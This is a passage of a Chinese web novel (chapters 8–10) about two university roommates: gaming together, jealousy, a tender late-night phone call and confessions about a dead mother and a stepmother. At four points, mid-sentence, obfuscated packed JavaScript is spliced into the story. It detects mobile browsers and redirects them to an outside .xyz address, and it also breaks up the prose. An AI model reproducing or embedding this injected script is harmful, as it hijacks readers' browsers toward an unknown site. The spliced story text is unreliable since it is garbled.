还嘉树。叫得这么亲切,跟谁学的啊。杨嘉树没控制住自己,回了他的微信:“你吃的什么?” “香辣牛肉面。” “那为什么给我吃清汤的。” “你不是不吃辣吗。” 难得,还记得我不吃辣。杨嘉树咧开嘴笑了笑,心情慢慢好转了:“我吃,我也要吃香辣牛肉面。” 他还没忘记顾琢成刚刚“背刺”自己的事呢,打字问顾琢成:“你为什么让何永平给你辅助。” 顾琢成:“?他刚好有空,就一起玩了。” “他辅助厉害还是我辅助厉害。” “差不多。” 杨嘉树特别讨厌这个回答,不理顾琢成了。 顾琢成果真给杨嘉树带了香辣牛肉面,除此之外,还有一只草莓冰淇淋。 杨嘉树本来都想好了拒绝顾琢成的话,他预想中是这样的:“谢谢你帮我带饭,但是我不想吃了,帮我扔掉吧,钱我一会儿转给你。”但是看到那只草莓冰淇淋,他一时忘了自己刚刚的打算,问顾琢成,“这是什么?” 顾琢成正在脱外套,听到杨嘉树的问题,很随意地转过身来:“哦,我刚刚路过便利店的时候看到他们买了一个新的甜筒机,想着你爱吃冰淇淋,就给你买了一只。先放进你的小冰箱里,刚好吃完牛肉面再吃冰淇淋,可以解辣。” 霎时间,杨嘉树有什么气都消了,高高兴兴地坐下来吃面。 顾琢成还是有把我放在心上的! 杨嘉树的气来得快,去得也快,他想了想,觉得自己不该对顾琢成占有欲这么强,难道就因为他俩是好朋友,就要限制人家交朋友的自由了吗?他应该做一个大度的人,而不是想把某人的友情据为己有的、自私的人。 正当他这么想、决定大度成全顾琢成和何永平的时候,顾琢成走了,去上海参加一个国际性的大学生编程比赛,什么亚洲区预选赛,听说要在那里待上将近一个月。杨嘉树不理解,什么比赛要去这么久啊。 赵靖说:“我也不太了解,去集训吧。” “好吧。”杨嘉树摸着下巴若有所思,“那他集训的时候能玩手机吗?我想给他打电话。” “干嘛,你就这么想他?”身为杨嘉树在2608寝室第一个交到的好朋友,赵靖有点吃醋了,“我发现你现在跟顾琢成走得比我还近,怎么,现在我不是你最好的朋友了吗?” 杨嘉树很认真地想了想:“这个倒没有。” 赵靖说:“那可真是谢谢少爷了。” “但是以后说不准。” “……”赵靖冷笑,“呵呵。” 杨嘉树拍拍他的肩,语重心长地说:“赵靖,不要这么小气,大度一点。你对我的爱太沉重,我也会有压力的。” 赵靖要踢他,杨嘉树闪得很快,拎着一只保温杯就跑没影儿了。 顾琢成不在寝室,杨嘉树总是觉得哪里怪怪的,经常躺在自己床上望着顾琢成空着的床铺发呆。这天晚上,他实在受不了相思之苦,给顾琢成发微信:“琢成,上海好玩吗?你怎么不给我发微信。” 他以为顾琢成不会很快回的,谁知道刚发出去就收到顾琢成的回复了,甚至连聊天界面都没来得及退出来。顾琢成说:“没出去玩,在酒店待着。正要打算给你发。” 杨嘉树喜滋滋地说:“你打算给我发什么啊?” 顾琢成说:“给你看看上海的夜景。” 他发了一小段视频过来,是从酒店的窗户往外拍的,杨嘉树一眼就看到耸立的东方明珠塔,还有周围和它交相辉映的璀璨建筑群,但是,这个视频的拍摄角度莫名熟悉……杨嘉树灵光一闪,问顾琢成:“你是不是住在XX酒店!” 顾琢成说:“是啊,你怎么知道?” “因为我来过!我高考完去上海玩了半个多月,就住在这家酒店,我还发过朋友圈呢,你等等,我给你找出来!”杨嘉树果真去找了,一模一样的角度,不过他的是照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“当然有!”杨嘉树发出去,才发现讲不讲卫生和一不一起玩游戏好像确实没什么关系…… “有什么关系?”顾琢成开玩笑,说,“污染峡谷的空气吗。” “哈哈哈哈哈。”杨嘉树躲在被窝里偷笑,“好好笑啊,顾琢成。” “偷笑/。” 杨嘉树没忍住,跟顾琢成说:“上次看见你跟何永平一起撸,不带我,其实我可嫉妒了,我还生气,为什么你要跟我讨厌的人一起玩。” 顾琢成:“沉默/。” 顾琢成:“什么叫一起撸?” 杨嘉树嘿嘿一笑,说:“就是一起撸啊撸。” 顾琢成:“请说:一起玩英雄联盟。” “切,我才不信你有这么纯情。”杨嘉树在被窝里哼哼,“好兄弟一起撸怎么了,撸撸更健康。” “你说我跟何永平一起撸,有点怪怪的。” 杨嘉树想象了下,确实,何永平那么丑,跟顾琢成放在一起实在有碍观瞻,“那咱俩一起撸好了。” “好啊。”顾琢成说,“等我回去。” “嘿嘿,那我这段时间先好好练练英雄……” 8. 第 8 章 杨嘉树自己都不知道,为什么跟顾琢成这么投缘。 顾琢成在上海的这段时间,他俩几乎天天聊天。杨嘉树不管上课下课都捧着手机,噼里啪啦地敲字,老师在上面讲课,他就在下面开小差,跟顾琢成聊LOL新出的英雄要走哪路怎么出装的问题。 聊完游戏,也聊别的,音乐,电影,动漫,老师同学们的八卦……杨嘉树发现自己跟顾琢成在某些方面还挺相似的,比方说,他们都喜欢《约会大作战》里的时崎狂三,杨嘉树知道顾琢成居然会看后宫番时,十分惊讶:“你还会看这个啊?” 顾琢成说:“怎么了,最近没什么新番可看。” 杨嘉树惊叹:“没想到学霸竟然也和我们宅男一样,喜欢萌妹纸!” 顾琢成:“酷/。” 杨嘉树:“话说,宅男比较容易找不到女朋友。你现在有聊得来的妹纸吗?” 顾琢成:“没有。最近只有聊得来的汉纸。” 杨嘉树:“不会是我吧?” 顾琢成:“你猜。” 杨嘉树偷笑:“顾琢成,你好闷骚啊。” 顾琢成:“一般般。” 杨嘉树:“可惜我不搞基,不然……” 顾琢成:“不然什么?” 杨嘉树:“不然你挺帅的,我要是喜欢男的,我就追你,哈哈。” 顾琢成:“惊恐/。” 顾琢成:“我是直男。” 杨嘉树笑得在床上打滚:“搞得像谁不是一样。不过你是宅男这件事让我很惊讶,帅哥的经验一般不是很丰富吗?换女朋友像换衣服一样。” 顾琢成:“没有吧,我很少跟女生接触的。” 杨嘉树:“为什么?” 顾琢成:“我喜欢学习,对女生不感兴趣。” 杨嘉树:“……”切,谁信啊。 顾琢成:“你喜欢爬山吗?” 杨嘉树:“不喜欢。抠鼻/。” 顾琢成:“我从小就喜欢做数学题,大点又迷上了编程题,因为解题的过程就像爬山一样,翻过着一座山,前面还有更高的山等着,仿佛没有尽头,我喜欢这种总在挑战的感觉。至于女生,恋爱什么的,我一点都不感兴趣。” 杨嘉树:“那你还看后宫番?” 顾琢成:“有冲突吗?” 杨嘉树:“额,也许是现实中还没有出现让你心动的女生。” 顾琢成:“大概吧。可能我也只是怕麻烦而已。” 杨嘉树不理解:“恋爱怎么会麻烦?不应该非常甜蜜吗。” 顾琢成:“你恋过?” 杨嘉树:“没有……” 顾琢成:“那你怎么知道是甜蜜的。” 杨嘉树:“没吃过猪肉,还没见过猪跑啊。” 顾琢成:“等你真的恋爱就知道了。” 杨嘉树不服气:“你恋过?” 顾琢成:“我也没有。” 杨嘉树忽然好奇:“那你还是处男吗?奸笑/。” 顾琢成反问:“你是吗?” 杨嘉树:“我都没有谈过恋爱,我当然是!” 顾琢成:“少爷居然没谈过恋爱,好稀奇。” 杨嘉树:“我平时很乖的,是个死宅,非必要不出门,没有认识女生的机会……” 顾琢成:“你们文学院那么多女生,不是到处都是机会吗。” 说到这个,杨嘉树也感到很苦恼,文学院是女生多,甚至他们班上就他跟另外一个戴眼镜的男生,其他都是女生。女生多的地方并不一定好,意味着为数不多的男生都是劳动力,而且,女生通常都不会把他们当成男生,而更像是,闺蜜……杨嘉树就交了很多女性朋友,天天聊天都是美容护肤,服装潮牌,要么就是八卦,到期末或者写读书报告、论文的时候才会讲几句正经话,而且还都是哀嚎……所以,女生多的地方并不一定意味着机会多,很可能机会都被扼杀了。 顾琢成听完,评价道:“男人还是要主动一点的。” 杨嘉树想了想,说:“暂时还没有想主动的对象。” 顾琢成要去训练,聊天暂时就结束了,但杨嘉树总觉得哪里怪怪的,好像有什么重要的问题被他给忽略掉了…… 杨嘉树沉迷和顾琢成聊天,在学业方面就有些懈怠了,书也不看了,作业是会拖的,期中论文至今连题目都还没有,杨嘉树说顾琢成是魅魔:“都怪你,害我作业都要交不上去了。” 顾琢成很无辜:“跟我有什么关系?” 杨嘉树说:“你不是在训练吗,为什么还有那么多时间跟我聊天。” 顾琢成:“我都是训练结束跟你聊的,你没发现我都是上午、晚上有空才回你消息的吗。” 杨嘉树挠挠头,好像还真是,那他们聊天的效率还挺高,方方面面都涉及到了。 杨嘉树开始临时抱佛脚,让顾琢成不要再回他消息了,一定要监督他好好写作业。 顾琢成说:“好的。” 到了晚上,杨嘉树整理作业思路,一口气把大纲顺好了,神清气爽地给顾琢成发消息:“大纲搞定,离作业写完不远了!” 顾琢成没回他,并且一直到第二天早上都没回。 杨嘉树很纳闷,问顾琢成:“你为什么不理我?” 顾琢成还是没回。 搞什么啊,在参加比赛?一直到晚上,顾琢成都如此无视自己,杨嘉树有点生气了,质问顾琢成:“你为什么不回我?在外面有别的狗了吗。” 顾琢成说:“你自己让我不要理你的啊。” 杨嘉树说:“那是为了不要让你耽误我的学习!这种聊天并没有耽误。” 顾琢成:“你的作业写完了?” 杨嘉树心虚:“没有,只是大纲搞定了。” 顾琢成在那头深深地皱眉:“杨嘉树,你的自制力也太差了。” 杨嘉树看着这条冰冷的消息,心也跟着凉了。虽然本人自制力差是事实,但是,也不想想是谁造成的。杨嘉树心里有气,敷衍地回了句“我现在开始自制”,就把顾琢成的聊天消息给屏蔽了。 杨嘉树这段时间很沉默,不同寻常的沉默,说他在认真看书吧,有时候也会盯着书本发呆,好像被什么人给伤害了似的。赵靖路过,说:“你怎么这么丧?跟顾琢成吵架了?” 杨嘉树抬起头,表情有点阴沉:“你怎么知道?” 赵靖翻了个白眼,说:“这不是很明显吗,你俩如胶似漆,天天看你拿着手机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15495743|170176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑得跟朵花似的,不知道的还以为你们在搞网恋呢……” 杨嘉树哼地一声,表情有点愤怒:“那现在我们分手了!” “真的啊?”赵靖兴奋了,拉了把椅子过来,热情地靠着杨嘉树坐,“那可以恢复我正宫的地位了吗?” 杨嘉树斜着眼睛看赵靖,作思考状:“我考虑一下。” “还用得着考虑?”赵靖哼哼,“论资历,我比他先进宫;论感情,我与你更深厚;论忠心,顾琢成长那样一看就花心,见一个爱一个,我嘛就比较踏实,爱你的心始终如一,非海枯石烂不可转移……” ——对此杨嘉树不敢苟同,发出真心的疑问:“谁说我跟你感情更深厚的?” “……”赵靖捂着胸口,好像被杨嘉树的嘴箭给射中了似的,“你37度的嘴是怎么吐出这么冰冷的话的?我跟你感情不深厚?苍天可鉴,如果这世上你爸第一爱你,你妈第二爱你,再加上你弟弟第三爱你,那么我就是第四爱你的人!这还不够深厚,那什么才叫深厚?” 杨嘉树看着赵靖,欲言又止。 赵靖:“?你选谁。” 杨嘉树无辜地眨了眨眼,说:“抱歉……” 赵靖“哗”地一声站起来,转头就走:“我懂你意思,再见,跟你的小三好好过去吧!” 可惜小三本人没赵靖这么有觉悟,自从那天过后,他就再也没有鸟过杨嘉树。 杨嘉树也不理他,以示公平。但是有的时候总是心痒痒,很想去质问顾琢成,为什么要这样对他,是打算绝交吗? 杨嘉树是个自尊心很强,同时又非常敏感的人,一点风吹草动都足以让他全身心警惕,他认为顾琢成是故意冷落自己,因为觉得他自制力太差了?不配和他做朋友。或者真的就只是有了更喜欢的朋友,一起训练的人之类的。 杨嘉树这样想,心里就难受得要死,尤其是他看见顾琢成竟然若无其事地发朋友圈,说和小组的人一起去庆功,吃日料,心里更难受了,笃定是顾琢成有了更要好的朋友。 他一气之下,把顾琢成的朋友圈也给屏蔽了,还是双向屏蔽,当晚就叫赵靖和另外几个玩摄影认识的朋友一起去吃饭唱K,玩了个通宵。 第二天上午还有课,杨嘉树头晕眼花去上课,差点在课堂上晕过去。他坐在靠角落的位置,低着头正难受,手机响了—— 是顾琢成,真够让人惊讶的。他说:“你作业做完了?” 什么作业,都百八十年前的事了。杨嘉树把手机扣下,打算无视顾琢成。 手机又响,在手心里猛地震动了一下。 杨嘉树等了几秒钟,还是没忍住,打开手机—— 是别人,问他周末有没有空去逛街。 杨嘉树再度打开和顾琢成的聊天框,咬紧下唇,心说你就发这一条,就没有别的了?我不回你,你竟然也不知道再追问一句,就不想问问我最近过得怎么样吗? 等了又等,顾琢成依旧没有动静,杨嘉树彻底生气了,愤怒地敲字质问顾琢成:“做完了。” “干嘛?” “有事吗??” 顾琢成:“晚上一起撸啊。” 谁要跟你一起撸。杨嘉树瞪着手机屏幕,觉得顾琢成好不要脸。 9. 第 9 章 觉得顾琢成不要脸的杨嘉树最后还是接受了顾琢成的邀请,跟他一块儿玩LOL。 只不过杨嘉树全程不说话,也不开麦,终于,顾琢成发现杨嘉树的不对劲了:“你怎么了?”他在组队语音里问杨嘉树。 杨嘉树躲在草丛里,打字:“没怎么啊。” “怎么不说话?” 杨嘉树说:“在宿舍,不方便。” “他们两个在学习?” 杨嘉树:“没有。” 顾琢成也不说话了。 这把赢了,但是杨嘉树却丝毫没有感受到喜悦,结算的时候顾琢成在麦里说:“还要玩吗。” 杨嘉树默默地退了游戏。 他呆坐在电脑前面,内心只觉得委屈。是你叫我一起玩,玩了一把又问我还要不要玩,好像一起玩游戏这件事并不怎么重要似的,既然这样,干脆一开始就不要叫我啊。 杨嘉树脱了鞋子,爬上床,戴起耳机开始听音乐。 灯关了,寝室里漆黑一片,只有阳台上依稀透进来的一些月光。杨嘉树听着耳机里陈奕迅孤寂又哀伤的声音,内心也像被这忧伤的声音填满似的,说不出的烦闷。 这时微信铃响,杨嘉树切进去一看,愣住了。 是顾琢成。 他心里别扭,不想接,可又想听听顾琢成要跟他说什么,道歉?他有这觉悟吗——假如真的是道歉,那我要接受吗。杨嘉树胡思乱想了一通,手指不小心误触,接通了—— 顾琢成的声音很清晰地在耳机里响起来:“嘉树,你今天怎么了?不开心?” 杨嘉树发现顾琢成还是有点东北人的血脉在身上的,普通话很标准,声音也爷们儿,他莫名感到脸热,什么生气不生气一时也忘记了,“没有啊,我刚上床准备休息的。” 顾琢成表示怀疑:“才九点,你平时有这么早睡吗。” “呃……”杨嘉树弱弱地说,“今天不舒服,想早点睡。” “哪里不舒服?” 杨嘉树轻轻翻了个身,说:“就——心情不好啊。” “为什么不好?” 杨嘉树沉默了。 为什么不好——这个问题问的好。还不是因为你不理我,可是,究其原因,是我让你不要理我的,我因此而生气,是不是显得我很小气。 杨嘉树又翻了一个身,还是沉默。 耳机里传来微弱的电流声,过了一会儿,顾琢成轻轻地说:“不想说也没关系,我们来聊天啊。” 声音听起来有点温柔,杨嘉树保持着侧卧的姿势,朝下的那只耳机杵进耳朵深处,好像身体里住了一个顾琢成,正在跟他说话似的。杨嘉树在被窝里纠着自己睡衣的衣角,说:“聊什么?” “你想聊什么?” 杨嘉树瞪着对面顾琢成空荡荡的床铺,说:“我也不知道。” “你今天打游戏挺厉害的,全靠你关键时刻把血给我奶满,不然我们就要输了。” “——真的假的?”杨嘉树表示怀疑,怀疑顾琢成是在哄自己开心。 “真的。”顾琢成说,语气笃定。 杨嘉树感觉没有那么闷了,甚至有一点点开心:“那说明我这段时间的练习还是有用的。” “你怎么练习,单排?” “对啊。” “那你遇到的ADC一定没我厉害。” “噗。”杨嘉树笑了,这下眼睛都眯起来,“你好自恋啊,顾琢成。话说我前几天还真遇到一个特别厉害的ADC,玩德莱文,拿着一把斧子跳来跳去,我总是跟不上。不过最后他自己也打赢了,好像根本就不需要辅助一样。” “那他厉害还是我厉害?” “嗯……”杨嘉树说,“那还是你比较厉害吧。” “——这么给面子啊。” “你知道为什么吗?”杨嘉树自己问,然后又自己答,“他只顾自己冲锋陷阵,不管我的死活。可是你不会,你就算残血也要来救我,哪怕给对面送双杀——这点我觉得你比较厉害。”而且,除了你也没别人会这样做了。杨嘉树在心里补充。 “呵呵。”顾琢成在那头笑,声音很轻快,“只是一个游戏而已,输赢不重要。” “那什么才重要?” “体验啊。开心就好。” “你的心态好好。”杨嘉树感叹,“我一早就发现了,有你这样心态的人干什么不会成功——对了,你比赛怎么样?” “第一名。”顾琢成说,语气很平淡。 “哇!”杨嘉树激动地从床上坐起来,“你好厉害啊,顾琢成!” “……还行吧。” 杨嘉树又“哇”了一声:“得第一有什么奖励?奖金多吗?还有——”他说,声音变小,里面隐藏着一丝不为人知的羞涩,“你什么时候回来啊。” “奖金是组员们平分,没有很多。我下星期就回去了。” “嗯……”杨嘉树说,“那我去机场接你?” “不用了吧。”顾琢成说,听上去有点犹豫,“学校安排了人来接机。” “……哦。”杨嘉树摸摸鼻子,觉得有点尴尬。特意去接什么的……会不会太多情了,“那等你回来,我请你吃饭,庆祝你得冠军,嘿嘿。” “谢谢。”顾琢成也笑了,“我请你吧,我拿奖金了。” “……哦。”杨嘉树说,抑制着内心疯狂冒出来的喜悦,“那我先想想吃什么——” “叫上赵靖和永平一起。”顾琢成说。 ——一点都不夸张,这句话像一盆冷水一样浇到杨嘉树的头上,一下子把他给浇懵了。 “……啊?” “怎么了?” “赵靖?”杨嘉树难以置信地拖长音调,“永——平?” “……”顾琢成沉默了几秒钟,说,“有什么问题吗。” 当然有问题了!杨嘉树重重翻了个身,生气地鼓起眼睛:“你什么时候跟何永平关系这么好了?”还永平,过几天是不是就要叫小平、阿平了。 “没有。”顾琢成解释,“这不是叫得顺嘴么。” “我不想跟他一起吃饭。”杨嘉树闷闷地说。 “为什么?” “因为——我讨厌他!” ——终于把这句话说出来了,就像扔掉攥在手里很久的垃圾似的,杨嘉树心里一阵轻松。 “……为什么?”顾琢成说,“因为他把袜子攒起来洗?” “当然不是了!”开了一个头,杨嘉树吐槽(告状?)起来就格外顺畅,“因为他瞧不起我!他觉得我有钱,臭显摆,就处处针对我,说我像个女人,就差早上起来描眉画眼了,还总说我打游戏菜——明明他自己也玩得不咋地。” “——他真的这么说了?”顾琢成说,语气有点严肃。 “对。”杨嘉树扁扁嘴,平时深藏在心里的委屈在这个时候潮水一样涌出来,“还有更过分的,我就不跟你说了。” “那是他的不对。”顾琢成说,“回头我找他聊聊。” “不!”杨嘉树从床上坐起来,整个人如临大敌,“千万不要说,他讨厌我,我一点都不在乎,我也不想跟他关系变好,因为——我也讨厌他!” “……”顾琢成沉默了。都是一个宿舍的,何必讨厌来讨厌去。但是,不知道是不是他的错觉,总觉得杨嘉树是个很敏感的人,经常不知道什么原因就生气了,有点难办。 其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15495744|170176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实,杨嘉树说完就有点后悔了,背地里说人坏话毕竟是小人行径——他懊恼,小心翼翼地问顾琢成:“那个,你会不会觉得,我这个人很小气啊。” “怎么会?”顾琢成说,“这是你的性格,每个人都有自己的性格。” 脾气可真好。杨嘉树闷闷地躺回去,想说话,又觉得顾琢成的“大气”衬得自己愈发小气,于是他闭紧嘴巴,不打算再说话了。 见他沉默,顾琢成说:“累了?要睡觉吗。” 睡觉=挂电话。杨嘉树心里一紧,连忙说:“我还不困。那个,聊聊你的家庭呗。” “可以啊。” “你爸爸是做什么的?” “他……是我们当地教育局的干部。”顾琢成说,有点犹豫。 “哇。怪不得你那么优秀,原来是家里教得好啊!” “不。”顾琢成摇头,“他平时根本就不管我,他爱普天之下的学生胜过爱我。” 杨嘉树愣住了。 顾琢成也沉默。他现在坐在酒店的沙发上,对面就是黄浦江畔的夜景,很繁华。他平时是个内敛的人,不会轻易对人袒露内心的想法,可是今天不知道怎么回事,也许是氛围正好,也许是太久没有和人交换心事,这么一冲动——就说了。 杨嘉树躺在被窝里,很久没动,他感觉自己的心也狠狠揪起来,他理解这种不被重视的感觉,甚至感同身受,分外难受。“也许……你爸爸只是不会表达,男人嘛,都比较内敛。”他轻轻地说,试图安慰顾琢成。 “可能吧。”顾琢成看着东方明珠塔流转的七色灯光,无声地、缓慢地叹了口气。 “那,你妈妈呢。”杨嘉树屏住呼吸,小心翼翼地问,“她是什么时候去世的?” 顾琢成没有说话。 杨嘉树这才觉得懊恼,他恨自己嘴快,就这么不管不顾问出来了,“对不起,你……狠狠地无视我吧。我有时候就是说话不过脑子。” “没关系啊。”顾琢成扯起嘴角,轻轻地笑了笑,“她是在我小学的时候去世的,病毒性心肌炎,送到医院的时候已经不行了。” “……” “见到她最后一面了。让我好好学习,不要让爸爸操心。”顾琢成说,“还让我不要经常想她,如果有了新妈妈,就把她忘了。” “……”杨嘉树捂住嘴巴,两颗大大的眼泪从眼眶里滑落,心里难受得像是堵了一团棉花。 “……你怎么不说话?” “我……”杨嘉树一开口,把自己吓了一跳——声音沙哑,带着哭腔,“额,对不起……”他感到难为情,干啊,怎么听别人的伤心事听哭了! 电话那头的顾琢成很是意外:“你哭了?” “……”杨嘉树连忙把手机话筒捂住,从枕头旁边的抽纸盒里抽出一张纸巾,狠狠擤了一把鼻涕,然后松开手,“我没有。” “……”顾琢成哭笑不得地说,“杨嘉树,你撒谎太明显了知不知道。” “那你干嘛要拆穿我。”杨嘉树感到颜面尽失,有心想使气氛轻松一点,“那你爸爸给你找后妈了吗。” “没有。” “……哎。”杨嘉树叹了口气,“那你爸爸还是爱你的。” “何以见得?”这一点顾琢成不敢苟同:“也许他只是工作忙,没空谈恋爱。或者还没遇到合适的对象而已。” “不是的。”杨嘉树说,“男人都一个样,总得找个人过日子,旧人没了就找新人。”他感觉一股情绪在胸中翻涌,搅得他胸闷、心疼,忍不住说,“我告诉你一个秘密吧。” “什么?” 杨嘉树说:“其实,我不是我妈亲生的……我现在的妈妈,其实是我后妈。” 10. 第 10 章 这是杨嘉树深藏在心中的秘密,没有对任何人说过。在7岁以前,他一直都以为自己的家庭是完整的,爸爸是亲爸,妈妈也是亲妈,他小时候很调皮,是方圆十里出了名的恶霸,凡是有孩子的家庭都对他避之唯恐不及。 他家那时候还不富,甚至有点穷,爸爸是个卖玩具的小业务员,妈妈在商场卖衣服,两人甚至连一套郊区小三房的首付都付不起。为了省钱,一家三口住在城中村的出租屋里。杨嘉树的妈妈叫章芝仪,发音跟章子怡很像,长相也有点像,尤其是一张标准的心形脸,走到哪里都能被人多看两眼。 章芝仪的脾气不好,在家经常发火,不过她的火来得快去得也快,最迟一个晚上也就散没了。杨嘉树在不知道章芝仪不是自己亲妈的时候,不怕她发火,他会一哭二闹三耍赖,把章芝仪气得在家里狂揍老杨(杨嘉树的爸爸);而当他知道章芝仪不是自己的亲妈之后,那种天不怕地不怕的嚣张消失了,变成一种如履薄冰、如临大敌的小心翼翼。 发现这个秘密,其实很凑巧。 那时老杨供职的玩具厂濒临倒闭,章芝仪打工的商场也关门大吉,两口子正愁前路茫茫呢,一个消息打得他们措手不及——章芝仪怀孕了。 在经过很长一段时间的挣扎过后,两口子最终打算把孩子生下来,老杨辞职,夫妻二人一起去章芝仪表舅的钢厂里打工——在北方,所以杨嘉树如何安置就成了一个棘手的问题。 夫妻二人关起门来商量这件事,老杨说:“把小杨带上吧,他是个男孩子,吃点苦是应该的,正好治治他的顽皮……” 不等他把话说完,章芝仪就狠狠瞪了他一眼:“亏你想的出来,冶钢厂——不是别的什么厂,工作有多累你又不是不知道,而且环境很差,杨嘉树享福享惯了,能吃得了那种苦?再说了,北方干燥,杨嘉树细皮嫩肉的,去那待一个冬天就得掉层皮,你也真狠得下心啊。” 老杨看着章芝仪已经有些鼓起来的肚子,叹了口气:“他去了,还能照顾你,你大着肚子……唉。”老杨是个很感性的人,想到刚怀孕的老婆和正要上小学的大儿子、还在娘胎里的小儿子都要跟着自己吃苦,一时间百感交集,欲语泪先流。 章芝仪捶了老杨一下,眼圈也跟着红了:“男子汉大丈夫,掉眼泪像什么样子。就熬过这两年,我表舅说了,给你安排个班长的岗位,待个两年再往管理层走,等以后条件好了再把杨嘉树接过去。他现在正好要上小学,一个南方娃娃去北方上学,搞不好还要被同学欺负。就让他先待在奶奶家,我们定期给她汇款,放假了把孩子接过来玩——也没区别,在奶奶家还舒服,不用跟着我们受苦。你说,是不是这个道理?” 老杨让她说得动摇了:“我再考虑考虑……” 这时候的杨嘉树正躲在门外面偷听,他以为爸妈背着自己在偷吃好东西,正打算推开门吓他们一吓,让他们知道背着孩子偷吃是不对的—— 谁知道就听见爸妈说要送自己去奶奶家,杨嘉树可不干,爸妈去哪他就去哪,谁也不能把他们一家分开,他就要冲进去大喊大叫,谁知道接下来爸妈的话犹如晴天霹雳,把他整个人都劈懵了: 老杨忽然对章芝仪有了一种揣测,一种不好的揣测,他看着章芝仪,欲言又止。 “怎么了?”章芝仪奇怪地问。 老杨支支吾吾,眼神闪躲:“芝仪,那个,你是不是因为我们有了小宝,就、就想扔掉大宝……” 章芝仪瞪大双眼,嘴巴也微微张开,震惊之情溢于言表:“杨保发,你怎么能这样想我!杨嘉树虽然不是我亲生的,可他才一岁大我就开始带他,跟亲生的也没区别了!这孩子刚出生就没了妈,见我第一眼就扑上来管我叫妈妈,可怜得要命,我就算苛待小宝也不会苛待他!我在你眼里就是这种人?”她说着,声音哽咽了,胸脯随着呼吸剧烈起伏,恨恨地瞪着老杨。 老杨连忙上前安抚她:“我错了,是我误会你了……” 章芝仪甩了他一巴掌,扭头就要走。 老杨连忙站起来,抱着她哄:“芝仪对不起,你是什么样的人我最清楚了,是我一时糊涂……” 接下来的话杨嘉树就听不到了,脑袋里复读机一样重复播放着一句话:“我不是我妈亲生的、我不是我妈亲生的……” 从此,这个秘密就像一颗种子一样种在了杨嘉树的心里,种子发芽,变成树,树生树,变成一片森林——杨嘉树心里的秘密森林,第一次对除自己以外的人开放,这个人就是顾琢成。 顾琢成听完后,沉默了很久,久到杨嘉树都以为他睡着了:“你……怎么不说话?很无聊嘛。”他的声音夹着浓浓的鼻音,因为无力,还显得有些虚弱。 顾琢成说:“没有……你从来没有跟别人说过?你爸妈也不知道?”他觉得不可思议,一个七岁的孩子,怎么可以把这个惊天动地的秘密隐藏得这么深的?他不会感到害怕、难过的吗? 杨嘉树说:“不知道。” 他怕说了,爸爸妈妈就真的不要他了。 有一段时间,大概在杨嘉苗快出生的时候,杨嘉树总是做噩梦,哭着醒过来,嘴里不停地叫着妈妈。章芝仪很担心他,甚至觉得是未出生的杨嘉苗跟哥哥的八字犯冲,为此她特意顶着大肚子带杨嘉树去庙里请大师化解,大师取来几张符,对着它们又是诵经又是做法,然后让章芝仪把符纸带回去,烧了冲水喝,章芝仪照做了,杨嘉树的症状缓解不少。 但是从此之后,杨嘉树就跟换了一个人似的,变得乖巧不已,从前三天不打上房揭瓦,现在甚至会主动给妈妈倒水喝——章芝仪摸着杨嘉树的脑袋,感动得热泪盈眶:“嘉树,你是知道自己要做哥哥了,才变得这么乖的吗?妈妈真的是好欣慰。” 杨嘉树没说话,他根本一点都不期待杨嘉苗的出生,甚至也不想做哥哥,他就想爸爸妈妈只有自己一个小孩。 ——所以杨嘉树从小就讨厌杨嘉苗,讨厌他一出生就获得所有人的关注,讨厌章芝仪一天到晚抱着他,而他只知道哭、吃,和睡。更讨厌杨嘉苗有时候会发微信给自己炫耀,说爸爸妈妈又带他出去玩、给他买衣服了,这会让杨嘉树觉得自己非常、非常像一个外人。杨嘉苗、杨保发、章芝仪才是一家人。 顾琢成听完,指出来:“我觉得是你太敏感了,你妈妈……她其实很爱你。” “……我知道。”杨嘉树说,声音很闷很闷,“但是,爱也分第一爱和第二爱的,即便是天下最大公无私的父母——内心也会有所偏爱,比起我,我妈应该更爱杨嘉苗,毕竟他才是她亲生的孩子。” “你问过她吗?” “啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15495745|170176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”杨嘉树愣了愣,眼睛里还有一滴来不及落下的泪水,弄得他的眼球痒痒的、有点刺痛。 “你没问过,你怎么知道她更爱你的弟弟。”顾琢成说,“也许她更爱你呢。” 